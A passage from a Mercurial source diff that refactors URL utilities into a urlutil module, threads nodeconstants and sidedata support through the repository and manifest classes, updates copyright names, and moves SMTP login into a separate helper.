app, (address, port), handler) except socket.error as inst: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hgweb/webcommands.py --- a/mercurial/hgweb/webcommands.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hgweb/webcommands.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hgweb/webutil.py --- a/mercurial/hgweb/webutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hgweb/webutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # hgweb/webutil.py - utility library for the web interface. # # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hook.py --- a/mercurial/hook.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hook.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # hook.py - hook support for mercurial # -# Copyright 2007 Matt Mackall +# Copyright 2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/httpconnection.py --- a/mercurial/httpconnection.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/httpconnection.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # httpconnection.py - urllib2 handler for new http support # -# Copyright 2005, 2006, 2007, 2008 Matt Mackall +# Copyright 2005, 2006, 2007, 2008 Olivia Mackall # Copyright 2006, 2007 Alexis S. L. Carvalho # Copyright 2006 Vadim Gelfer # Copyright 2011 Google, Inc. @@ -18,6 +18,10 @@ pycompat, util, ) +from .utils import ( + urlutil, +) + urlerr = util.urlerr urlreq = util.urlreq @@ -99,7 +103,7 @@ if not prefix: continue - prefixurl = util.url(prefix) + prefixurl = urlutil.url(prefix) if prefixurl.user and prefixurl.user != user: # If a username was set in the prefix, it must match the username in # the URI. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/httppeer.py --- a/mercurial/httppeer.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/httppeer.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # httppeer.py - HTTP repository proxy classes for mercurial # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # Copyright 2006 Vadim Gelfer # # This software may be used and distributed according to the terms of the @@ -38,6 +38,7 @@ from .utils import ( cborutil, stringutil, + urlutil, ) httplib = util.httplib @@ -171,9 +172,9 @@ # Send arguments via HTTP headers. if headersize > 0: # The headers can typically carry more data than the URL. - encargs = urlreq.urlencode(sorted(args.items())) + encoded_args = urlreq.urlencode(sorted(args.items())) for header, value in encodevalueinheaders( - encargs, b'X-HgArg', headersize + encoded_args, b'X-HgArg', headersize ): headers[header] = value # Send arguments via query string (Mercurial <1.9). @@ -305,7 +306,7 @@ except httplib.HTTPException as inst: ui.debug( b'http error requesting %s\n' - % util.hidepassword(req.get_full_url()) + % urlutil.hidepassword(req.get_full_url()) ) ui.traceback() raise IOError(None, inst) @@ -352,14 +353,14 @@ except AttributeError: proto = pycompat.bytesurl(resp.headers.get('content-type', '')) - safeurl = util.hidepassword(baseurl) + safeurl = urlutil.hidepassword(baseurl) if proto.startswith(b'application/hg-error'): raise error.OutOfBandError(resp.read()) # Pre 1.0 versions of Mercurial used text/plain and # application/hg-changegroup. We don't support such old servers. if not proto.startswith(b'application/mercurial-'): - ui.debug(b"requested URL: '%s'\n" % util.hidepassword(requrl)) + ui.debug(b"requested URL: '%s'\n" % urlutil.hidepassword(requrl)) msg = _( b"'%s' does not appear to be an hg repository:\n" b"---%%<--- (%s)\n%s\n---%%<---\n" @@ -1058,7 +1059,7 @@ ``requestbuilder`` is the type used for constructing HTTP requests. It exists as an argument so extensions can override the default. """ - u = util.url(path) + u = urlutil.url(path) if u.query or u.fragment: raise error.Abort( _(b'unsupported URL component: "%s"') % (u.query or u.fragment) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/i18n.py --- a/mercurial/i18n.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/i18n.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # i18n.py - internationalization support for mercurial # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -19,6 +19,13 @@ pycompat, ) +if pycompat.TYPE_CHECKING: + from typing import ( + Callable, + List, + ) + + # modelled after templater.templatepath: if getattr(sys, 'frozen', None) is not None: module = pycompat.sysexecutable @@ -40,7 +47,10 @@ try: import ctypes + # pytype: disable=module-attr langid = ctypes.windll.kernel32.GetUserDefaultUILanguage() + # pytype: enable=module-attr + _languages = [locale.windows_locale[langid]] except (ImportError, AttributeError, KeyError): # ctypes not found or unknown langid @@ -51,7 +61,7 @@ localedir = os.path.join(datapath, 'locale') t = gettextmod.translation('hg', localedir, _languages, fallback=True) try: - _ugettext = t.ugettext + _ugettext = t.ugettext # pytype: disable=attribute-error except AttributeError: _ugettext = t.gettext @@ -60,6 +70,7 @@ def gettext(message): + # type: (bytes) -> bytes """Translate message. The message is looked up in the catalog to get a Unicode string, @@ -77,7 +88,7 @@ if message not in cache: if type(message) is pycompat.unicode: # goofy unicode docstrings in test - paragraphs = message.split(u'\n\n') + paragraphs = message.split(u'\n\n') # type: List[pycompat.unicode] else: # should be ascii, but we have unicode docstrings in test, which # are converted to utf-8 bytes on Python 3. @@ -110,6 +121,6 @@ if _plain(): - _ = lambda message: message + _ = lambda message: message # type: Callable[[bytes], bytes] else: _ = gettext diff -r bc268ea9f984 -r f67b8946bb1b mercurial/interfaces/dirstate.py --- a/mercurial/interfaces/dirstate.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/interfaces/dirstate.py Tue Apr 20 11:01:06 2021 -0400 @@ -8,7 +8,7 @@ class idirstate(interfaceutil.Interface): - def __init__(opener, ui, root, validate, sparsematchfn): + def __init__(opener, ui, root, validate, sparsematchfn, nodeconstants): """Create a new dirstate object. opener is an open()-like callable that can be used to open the diff -r bc268ea9f984 -r f67b8946bb1b mercurial/interfaces/repository.py --- a/mercurial/interfaces/repository.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/interfaces/repository.py Tue Apr 20 11:01:06 2021 -0400 @@ -453,6 +453,10 @@ """ ) + sidedata = interfaceutil.Attribute( + """Raw sidedata bytes for the given revision.""" + ) + class ifilerevisionssequence(interfaceutil.Interface): """Contains index data for all revisions of a file. @@ -519,6 +523,10 @@ * Metadata to facilitate storage. """ + nullid = interfaceutil.Attribute( + """node for the null revision for use as delta base.""" + ) + def __len__(): """Obtain the number of revisions stored for this file.""" @@ -734,7 +742,7 @@ flags=0, cachedelta=None, ): - """Add a new revision to the store. + """Add a new revision to the store and return its number. This is similar to ``add()`` except it operates at a lower level. @@ -769,7 +777,14 @@ ``nullid``, in which case the header from the delta can be ignored and the delta used as the fulltext. - ``addrevisioncb`` should be called for each node as it is committed. + ``alwayscache`` instructs the lower layers to cache the content of the + newly added revision, even if it needs to be explicitly computed. + This used to be the default when ``addrevisioncb`` was provided up to + Mercurial 5.8. + + ``addrevisioncb`` should be called for each new rev as it is committed. + ``duplicaterevisioncb`` should be called for all revs with a + pre-existing node. ``maybemissingparents`` is a bool indicating whether the incoming data may reference parents/ancestor revisions that aren't present. @@ -1132,6 +1147,10 @@ class imanifeststorage(interfaceutil.Interface): """Storage interface for manifest data.""" + nodeconstants = interfaceutil.Attribute( + """nodeconstants used by the current repository.""" + ) + tree = interfaceutil.Attribute( """The path to the directory this manifest tracks. @@ -1355,6 +1374,10 @@ tree manifests. """ + nodeconstants = interfaceutil.Attribute( + """nodeconstants used by the current repository.""" + ) + def __getitem__(node): """Obtain a manifest instance for a given binary node. @@ -1423,6 +1446,13 @@ This currently captures the reality of things - not how things should be. """ + nodeconstants = interfaceutil.Attribute( + """Constant nodes matching the hash function used by the repository.""" + ) + nullid = interfaceutil.Attribute( + """null revision for the hash function used by the repository.""" + ) + supportedformats = interfaceutil.Attribute( """Set of requirements that apply to stream clone. @@ -1641,6 +1671,14 @@ def revbranchcache(): pass + def register_changeset(rev, changelogrevision): + """Extension point for caches for new nodes. + + Multiple consumers are expected to need parts of the changelogrevision, + so it is provided as optimization to avoid duplicate lookups. A simple + cache would be fragile when other revisions are accessed, too.""" + pass + def branchtip(branchtip, ignoremissing=False): """Return the tip node for a given branch.""" @@ -1813,6 +1851,12 @@ def savecommitmessage(text): pass + def register_sidedata_computer(kind, category, keys, computer): + pass + + def register_wanted_sidedata(category): + pass + class completelocalrepository( ilocalrepositorymain, ilocalrepositoryfilestorage diff -r bc268ea9f984 -r f67b8946bb1b mercurial/localrepo.py --- a/mercurial/localrepo.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/localrepo.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # localrepo.py - read/write repository class for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -21,6 +21,7 @@ hex, nullid, nullrev, + sha1nodeconstants, short, ) from .pycompat import ( @@ -49,6 +50,7 @@ match as matchmod, mergestate as mergestatemod, mergeutil, + metadata as metadatamod, namespaces, narrowspec, obsolete, @@ -71,6 +73,7 @@ txnutil, util, vfs as vfsmod, + wireprototypes, ) from .interfaces import ( @@ -82,9 +85,13 @@ hashutil, procutil, stringutil, + urlutil, ) -from .revlogutils import constants as revlogconst +from .revlogutils import ( + concurrency_checker as revlogchecker, + constants as revlogconst, +) release = lockmod.release urlerr = util.urlerr @@ -270,6 +277,11 @@ caps = moderncaps.copy() self._repo = repo.filtered(b'served') self.ui = repo.ui + + if repo._wanted_sidedata: + formatted = bundle2.format_remote_wanted_sidedata(repo) + caps.add(b'exp-wanted-sidedata=' + formatted) + self._caps = repo._restrictcapabilities(caps) # Begin of _basepeer interface. @@ -313,7 +325,13 @@ ) def getbundle( - self, source, heads=None, common=None, bundlecaps=None, **kwargs + self, + source, + heads=None, + common=None, + bundlecaps=None, + remote_sidedata=None, + **kwargs ): chunks = exchange.getbundlechunks( self._repo, @@ -321,6 +339,7 @@ heads=heads, common=common, bundlecaps=bundlecaps, + remote_sidedata=remote_sidedata, **kwargs )[1] cb = util.chunkbuffer(chunks) @@ -452,7 +471,7 @@ # ``.hg/`` for ``relshared``. sharedpath = hgvfs.read(b'sharedpath').rstrip(b'\n') if requirementsmod.RELATIVE_SHARED_REQUIREMENT in requirements: - sharedpath = hgvfs.join(sharedpath) + sharedpath = util.normpath(hgvfs.join(sharedpath)) sharedvfs = vfsmod.vfs(sharedpath, realpath=True) @@ -939,11 +958,10 @@ def makestore(requirements, path, vfstype): """Construct a storage object for a repository.""" - if b'store' in requirements: - if b'fncache' in requirements: - return storemod.fncachestore( - path, vfstype, b'dotencode' in requirements - ) + if requirementsmod.STORE_REQUIREMENT in requirements: + if requirementsmod.FNCACHE_REQUIREMENT in requirements: + dotencode = requirementsmod.DOTENCODE_REQUIREMENT in requirements + return storemod.fncachestore(path, vfstype, dotencode) return storemod.encodedstore(path, vfstype) @@ -971,7 +989,7 @@ # opener options for it because those options wouldn't do anything # meaningful on such old repos. if ( - b'revlogv1' in requirements + requirementsmod.REVLOGV1_REQUIREMENT in requirements or requirementsmod.REVLOGV2_REQUIREMENT in requirements ): options.update(resolverevlogstorevfsoptions(ui, requirements, features)) @@ -995,12 +1013,12 @@ options = {} options[b'flagprocessors'] = {} - if b'revlogv1' in requirements: + if requirementsmod.REVLOGV1_REQUIREMENT in requirements: options[b'revlogv1'] = True if requirementsmod.REVLOGV2_REQUIREMENT in requirements: options[b'revlogv2'] = True - if b'generaldelta' in requirements: + if requirementsmod.GENERALDELTA_REQUIREMENT in requirements: options[b'generaldelta'] = True # experimental config: format.chunkcachesize @@ -1196,8 +1214,8 @@ # being successful (repository sizes went up due to worse delta # chains), and the code was deleted in 4.6. supportedformats = { - b'revlogv1', - b'generaldelta', + requirementsmod.REVLOGV1_REQUIREMENT, + requirementsmod.GENERALDELTA_REQUIREMENT, requirementsmod.TREEMANIFEST_REQUIREMENT, requirementsmod.COPIESSDC_REQUIREMENT, requirementsmod.REVLOGV2_REQUIREMENT, @@ -1208,11 +1226,11 @@ requirementsmod.SHARESAFE_REQUIREMENT, } _basesupported = supportedformats | { - b'store', - b'fncache', + requirementsmod.STORE_REQUIREMENT, + requirementsmod.FNCACHE_REQUIREMENT, requirementsmod.SHARED_REQUIREMENT, requirementsmod.RELATIVE_SHARED_REQUIREMENT, - b'dotencode', + requirementsmod.DOTENCODE_REQUIREMENT, requirementsmod.SPARSE_REQUIREMENT, requirementsmod.INTERNAL_PHASE_REQUIREMENT, } @@ -1315,6 +1333,8 @@ self.vfs = hgvfs self.path = hgvfs.base self.requirements = requirements + self.nodeconstants = sha1nodeconstants + self.nullid = self.nodeconstants.nullid self.supported = supportedrequirements self.sharedpath = sharedpath self.store = store @@ -1386,6 +1406,10 @@ if requirementsmod.COPIESSDC_REQUIREMENT in self.requirements: self.filecopiesmode = b'changeset-sidedata' + self._wanted_sidedata = set() + self._sidedata_computers = {} + metadatamod.set_sidedata_spec_for_repo(self) + def _getvfsward(self, origfunc): """build a ward for self.vfs""" rref = weakref.ref(self) @@ -1473,6 +1497,8 @@ bundle2.getrepocaps(self, role=b'client') ) caps.add(b'bundle2=' + urlreq.quote(capsblob)) + if self.ui.configbool(b'experimental', b'narrow'): + caps.add(wireprototypes.NARROWCAP) return caps # Don't cache auditor/nofsauditor, or you'll end up with reference cycle: @@ -1639,7 +1665,10 @@ def changelog(self): # load dirstate before changelog to avoid race see issue6303 self.dirstate.prefetch_parents() - return self.store.changelog(txnutil.mayhavepending(self.root)) + return self.store.changelog( + txnutil.mayhavepending(self.root), + concurrencychecker=revlogchecker.get_checker(self.ui, b'changelog'), + ) @storecache(b'00manifest.i') def manifestlog(self): @@ -1654,7 +1683,12 @@ sparsematchfn = lambda: sparse.matcher(self) return dirstate.dirstate( - self.vfs, self.ui, self.root, self._dirstatevalidate, sparsematchfn + self.vfs, + self.ui, + self.root, + self._dirstatevalidate, + sparsematchfn, + self.nodeconstants, ) def _dirstatevalidate(self, node): @@ -2059,6 +2093,9 @@ self._revbranchcache = branchmap.revbranchcache(self.unfiltered()) return self._revbranchcache + def register_changeset(self, rev, changelogrevision): + self.revbranchcache().setdata(rev, changelogrevision) + def branchtip(self, branch, ignoremissing=False): """return the tip node for a given branch @@ -3326,6 +3363,22 @@ fp.close() return self.pathto(fp.name[len(self.root) + 1 :]) + def register_wanted_sidedata(self, category): + self._wanted_sidedata.add(pycompat.bytestr(category)) + + def register_sidedata_computer(self, kind, category, keys, computer): + if kind not in (b"changelog", b"manifest", b"filelog"): + msg = _(b"unexpected revlog kind '%s'.") + raise error.ProgrammingError(msg % kind) + category = pycompat.bytestr(category) + if category in self._sidedata_computers.get(kind, []): + msg = _( + b"cannot register a sidedata computer twice for category '%s'." + ) + raise error.ProgrammingError(msg % category) + self._sidedata_computers.setdefault(kind, {}) + self._sidedata_computers[kind][category] = (keys, computer) + # used to avoid circular references so destructors work def aftertrans(files): @@ -3352,7 +3405,7 @@ def instance(ui, path, create, intents=None, createopts=None): - localpath = util.urllocalpath(path) + localpath = urlutil.urllocalpath(path) if create: createrepository(ui, localpath, createopts=createopts) @@ -3410,18 +3463,20 @@ % createopts[b'backend'] ) - requirements = {b'revlogv1'} + requirements = {requirementsmod.REVLOGV1_REQUIREMENT} if ui.configbool(b'format', b'usestore'): - requirements.add(b'store') + requirements.add(requirementsmod.STORE_REQUIREMENT) if ui.configbool(b'format', b'usefncache'): - requirements.add(b'fncache') + requirements.add(requirementsmod.FNCACHE_REQUIREMENT) if ui.configbool(b'format', b'dotencode'): - requirements.add(b'dotencode') + requirements.add(requirementsmod.DOTENCODE_REQUIREMENT) compengines = ui.configlist(b'format', b'revlog-compression') for compengine in compengines: if compengine in util.compengines: - break + engine = util.compengines[compengine] + if engine.available() and engine.revlogheader(): + break else: raise error.Abort( _( @@ -3442,15 +3497,19 @@ requirements.add(b'exp-compression-%s' % compengine) if scmutil.gdinitconfig(ui): - requirements.add(b'generaldelta') + requirements.add(requirementsmod.GENERALDELTA_REQUIREMENT) if ui.configbool(b'format', b'sparse-revlog'): requirements.add(requirementsmod.SPARSEREVLOG_REQUIREMENT) # experimental config: format.exp-use-side-data if ui.configbool(b'format', b'exp-use-side-data'): + requirements.discard(requirementsmod.REVLOGV1_REQUIREMENT) + requirements.add(requirementsmod.REVLOGV2_REQUIREMENT) requirements.add(requirementsmod.SIDEDATA_REQUIREMENT) # experimental config: format.exp-use-copies-side-data-changeset if ui.configbool(b'format', b'exp-use-copies-side-data-changeset'): + requirements.discard(requirementsmod.REVLOGV1_REQUIREMENT) + requirements.add(requirementsmod.REVLOGV2_REQUIREMENT) requirements.add(requirementsmod.SIDEDATA_REQUIREMENT) requirements.add(requirementsmod.COPIESSDC_REQUIREMENT) if ui.configbool(b'experimental', b'treemanifest'): @@ -3458,9 +3517,9 @@ revlogv2 = ui.config(b'experimental', b'revlogv2') if revlogv2 == b'enable-unstable-format-and-corrupt-my-data': - requirements.remove(b'revlogv1') + requirements.discard(requirementsmod.REVLOGV1_REQUIREMENT) # generaldelta is implied by revlogv2. - requirements.discard(b'generaldelta') + requirements.discard(requirementsmod.GENERALDELTA_REQUIREMENT) requirements.add(requirementsmod.REVLOGV2_REQUIREMENT) # experimental config: format.internal-phase if ui.configbool(b'format', b'internal-phase'): @@ -3494,7 +3553,7 @@ dropped = set() - if b'store' not in requirements: + if requirementsmod.STORE_REQUIREMENT not in requirements: if bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT in requirements: ui.warn( _( @@ -3617,6 +3676,7 @@ if createopts.get(b'sharedrelative'): try: sharedpath = os.path.relpath(sharedpath, hgvfs.base) + sharedpath = util.pconvert(sharedpath) except (IOError, ValueError) as e: # ValueError is raised on Windows if the drive letters differ # on each path. @@ -3633,7 +3693,8 @@ hgvfs.mkdir(b'cache') hgvfs.mkdir(b'wcache') - if b'store' in requirements and b'sharedrepo' not in createopts: + has_store = requirementsmod.STORE_REQUIREMENT in requirements + if has_store and b'sharedrepo' not in createopts: hgvfs.mkdir(b'store') # We create an invalid changelog outside the store so very old @@ -3642,11 +3703,11 @@ # effectively locks out old clients and prevents them from # mucking with a repo in an unknown format. # - # The revlog header has version 2, which won't be recognized by + # The revlog header has version 65535, which won't be recognized by # such old clients. hgvfs.append( b'00changelog.i', - b'\0\0\0\2 dummy changelog to prevent using the old repo ' + b'\0\0\xFF\xFF dummy changelog to prevent using the old repo ' b'layout', ) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/lock.py --- a/mercurial/lock.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/lock.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # lock.py - simple advisory locking scheme for mercurial # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/logcmdutil.py --- a/mercurial/logcmdutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/logcmdutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # logcmdutil.py - utility for log-like commands # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -14,6 +14,7 @@ from .i18n import _ from .node import ( nullid, + nullrev, wdirid, wdirrev, ) @@ -27,6 +28,7 @@ graphmod, match as matchmod, mdiff, + merge, patch, pathutil, pycompat, @@ -74,6 +76,36 @@ return limit +def diff_parent(ctx): + """get the context object to use as parent when diffing + + + If diff.merge is enabled, an overlayworkingctx of the auto-merged parents will be returned. + """ + repo = ctx.repo() + if repo.ui.configbool(b"diff", b"merge") and ctx.p2().rev() != nullrev: + # avoid cycle context -> subrepo -> cmdutil -> logcmdutil + from . import context + + wctx = context.overlayworkingctx(repo) + wctx.setbase(ctx.p1()) + with repo.ui.configoverride( + { + ( + b"ui", + b"forcemerge", + ): b"internal:merge3-lie-about-conflicts", + }, + b"merge-diff", + ): + repo.ui.pushbuffer() + merge.merge(ctx.p2(), wc=wctx) + repo.ui.popbuffer() + return wctx + else: + return ctx.p1() + + def diffordiffstat( ui, repo, @@ -217,7 +249,7 @@ ui, ctx.repo(), diffopts, - ctx.p1(), + diff_parent(ctx), ctx, match=self._makefilematcher(ctx), stat=stat, diff -r bc268ea9f984 -r f67b8946bb1b mercurial/logexchange.py --- a/mercurial/logexchange.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/logexchange.py Tue Apr 20 11:01:06 2021 -0400 @@ -15,6 +15,9 @@ util, vfs as vfsmod, ) +from .utils import ( + urlutil, +) # directory name in .hg/ in which remotenames files will be present remotenamedir = b'logexchange' @@ -117,7 +120,7 @@ # represent the remotepath with user defined path name if exists for path, url in repo.ui.configitems(b'paths'): # remove auth info from user defined url - noauthurl = util.removeauth(url) + noauthurl = urlutil.removeauth(url) # Standardize on unix style paths, otherwise some {remotenames} end up # being an absolute path on Windows. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/loggingutil.py --- a/mercurial/loggingutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/loggingutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -10,7 +10,10 @@ import errno -from . import pycompat +from . import ( + encoding, + pycompat, +) from .utils import ( dateutil, @@ -32,7 +35,7 @@ if err.errno != errno.ENOENT: ui.debug( b"warning: cannot remove '%s': %s\n" - % (newpath, err.strerror) + % (newpath, encoding.strtolocal(err.strerror)) ) try: if newpath: @@ -41,7 +44,7 @@ if err.errno != errno.ENOENT: ui.debug( b"warning: cannot rename '%s' to '%s': %s\n" - % (newpath, oldpath, err.strerror) + % (newpath, oldpath, encoding.strtolocal(err.strerror)) ) if maxsize > 0: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/mail.py --- a/mercurial/mail.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/mail.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # mail.py - mail sending bits for mercurial # -# Copyright 2006 Matt Mackall +# Copyright 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -34,6 +34,7 @@ from .utils import ( procutil, stringutil, + urlutil, ) if pycompat.TYPE_CHECKING: @@ -139,7 +140,7 @@ defaultport = 465 else: defaultport = 25 - mailport = util.getport(ui.config(b'smtp', b'port', defaultport)) + mailport = urlutil.getport(ui.config(b'smtp', b'port', defaultport)) ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport)) s.connect(host=mailhost, port=mailport) if starttls: @@ -150,6 +151,32 @@ if starttls or smtps: ui.note(_(b'(verifying remote certificate)\n')) sslutil.validatesocket(s.sock) + + try: + _smtp_login(ui, s, mailhost, mailport) + except smtplib.SMTPException as inst: + raise error.Abort(stringutil.forcebytestr(inst)) + + def send(sender, recipients, msg): + try: + return s.sendmail(sender, recipients, msg) + except smtplib.SMTPRecipientsRefused as inst: + recipients = [r[1] for r in inst.recipients.values()] + raise error.Abort(b'\n' + b'\n'.join(recipients)) + except smtplib.SMTPException as inst: + raise error.Abort(stringutil.forcebytestr(inst)) + + return send + + +def _smtp_login(ui, smtp, mailhost, mailport): + """A hook for the keyring extension to perform the actual SMTP login. + + An already connected SMTP object of the proper type is provided, based on + the current configuration. The host and port to which the connection was + established are provided for accessibility, since the SMTP object doesn't + provide an accessor. ``smtplib.SMTPException`` is raised on error. + """ username = ui.config(b'smtp', b'username') password = ui.config(b'smtp', b'password') if username: @@ -162,21 +189,7 @@ if username and password: ui.note(_(b'(authenticating to mail server as %s)\n') % username) username = encoding.strfromlocal(username) - try: - s.login(username, password) - except smtplib.SMTPException as inst: - raise error.Abort(stringutil.forcebytestr(inst)) - - def send(sender, recipients, msg): - try: - return s.sendmail(sender, recipients, msg) - except smtplib.SMTPRecipientsRefused as inst: - recipients = [r[1] for r in inst.recipients.values()] - raise error.Abort(b'\n' + b'\n'.join(recipients)) - except smtplib.SMTPException as inst: - raise error.Abort(inst) - - return send + smtp.login(username, password) def _sendmail(ui, sender, recipients, msg): @@ -207,17 +220,16 @@ def _mbox(mbox, sender, recipients, msg): '''write mails to mbox''' - fp = open(mbox, b'ab+') - # Should be time.asctime(), but Windows prints 2-characters day - # of month instead of one. Make them print the same thing. - date = time.strftime('%a %b %d %H:%M:%S %Y', time.localtime()) - fp.write( - b'From %s %s\n' - % (encoding.strtolocal(sender), encoding.strtolocal(date)) - ) - fp.write(msg) - fp.write(b'\n\n') - fp.close() + with open(mbox, b'ab+') as fp: + # Should be time.asctime(), but Windows prints 2-characters day + # of month instead of one. Make them print the same thing. + date = time.strftime('%a %b %d %H:%M:%S %Y', time.localtime()) + fp.write( + b'From %s %s\n' + % (encoding.strtolocal(sender), encoding.strtolocal(date)) + ) + fp.write(msg) + fp.write(b'\n\n') def connect(ui, mbox=None): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/manifest.py --- a/mercurial/manifest.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/manifest.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # manifest.py - manifest revision class for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -792,8 +792,9 @@ @interfaceutil.implementer(repository.imanifestdict) class treemanifest(object): - def __init__(self, dir=b'', text=b''): + def __init__(self, nodeconstants, dir=b'', text=b''): self._dir = dir + self.nodeconstants = nodeconstants self._node = nullid self._loadfunc = _noop self._copyfunc = _noop @@ -1051,7 +1052,9 @@ if dir: self._loadlazy(dir) if dir not in self._dirs: - self._dirs[dir] = treemanifest(self._subpath(dir)) + self._dirs[dir] = treemanifest( + self.nodeconstants, self._subpath(dir) + ) self._dirs[dir].__setitem__(subpath, n) else: # manifest nodes are either 20 bytes or 32 bytes, @@ -1078,14 +1081,16 @@ if dir: self._loadlazy(dir) if dir not in self._dirs: - self._dirs[dir] = treemanifest(self._subpath(dir)) + self._dirs[dir] = treemanifest( + self.nodeconstants, self._subpath(dir) + ) self._dirs[dir].setflag(subpath, flags) else: self._flags[f] = flags self._dirty = True def copy(self): - copy = treemanifest(self._dir) + copy = treemanifest(self.nodeconstants, self._dir) copy._node = self._node copy._dirty = self._dirty if self._copyfunc is _noop: @@ -1215,7 +1220,7 @@ visit = match.visitchildrenset(self._dir[:-1]) if visit == b'all': return self.copy() - ret = treemanifest(self._dir) + ret = treemanifest(self.nodeconstants, self._dir) if not visit: return ret @@ -1272,7 +1277,7 @@ m2 = m2._matches(match) return m1.diff(m2, clean=clean) result = {} - emptytree = treemanifest() + emptytree = treemanifest(self.nodeconstants) def _iterativediff(t1, t2, stack): """compares two tree manifests and append new tree-manifests which @@ -1368,7 +1373,7 @@ self._load() # for consistency; should never have any effect here m1._load() m2._load() - emptytree = treemanifest() + emptytree = treemanifest(self.nodeconstants) def getnode(m, d): ld = m._lazydirs.get(d) @@ -1551,6 +1556,7 @@ def __init__( self, + nodeconstants, opener, tree=b'', dirlogcache=None, @@ -1567,6 +1573,7 @@ option takes precedence, so if it is set to True, we ignore whatever value is passed in to the constructor. """ + self.nodeconstants = nodeconstants # During normal operations, we expect to deal with not more than four # revs at a time (such as during commit --amend). When rebasing large # stacks of commits, the number can go up, hence the config knob below. @@ -1610,6 +1617,7 @@ self.index = self._revlog.index self.version = self._revlog.version self._generaldelta = self._revlog._generaldelta + self._revlog.revlog_kind = b'manifest' def _setupmanifestcachehooks(self, repo): """Persist the manifestfulltextcache on lock release""" @@ -1653,7 +1661,11 @@ assert self._treeondisk if d not in self._dirlogcache: mfrevlog = manifestrevlog( - self.opener, d, self._dirlogcache, treemanifest=self._treeondisk + self.nodeconstants, + self.opener, + d, + self._dirlogcache, + treemanifest=self._treeondisk, ) self._dirlogcache[d] = mfrevlog return self._dirlogcache[d] @@ -1704,9 +1716,10 @@ arraytext, deltatext = m.fastdelta(self.fulltextcache[p1], work) cachedelta = self._revlog.rev(p1), deltatext text = util.buffer(arraytext) - n = self._revlog.addrevision( + rev = self._revlog.addrevision( text, transaction, link, p1, p2, cachedelta ) + n = self._revlog.node(rev) except FastdeltaUnavailable: # The first parent manifest isn't already loaded or the # manifest implementation doesn't support fastdelta, so @@ -1724,7 +1737,8 @@ arraytext = None else: text = m.text() - n = self._revlog.addrevision(text, transaction, link, p1, p2) + rev = self._revlog.addrevision(text, transaction, link, p1, p2) + n = self._revlog.node(rev) arraytext = bytearray(text) if arraytext is not None: @@ -1765,9 +1779,10 @@ n = m2.node() if not n: - n = self._revlog.addrevision( + rev = self._revlog.addrevision( text, transaction, link, m1.node(), m2.node() ) + n = self._revlog.node(rev) # Save nodeid so parent manifest can calculate its nodeid m.setnode(n) @@ -1822,6 +1837,7 @@ revisiondata=False, assumehaveparentrevisions=False, deltamode=repository.CG_DELTAMODE_STD, + sidedata_helpers=None, ): return 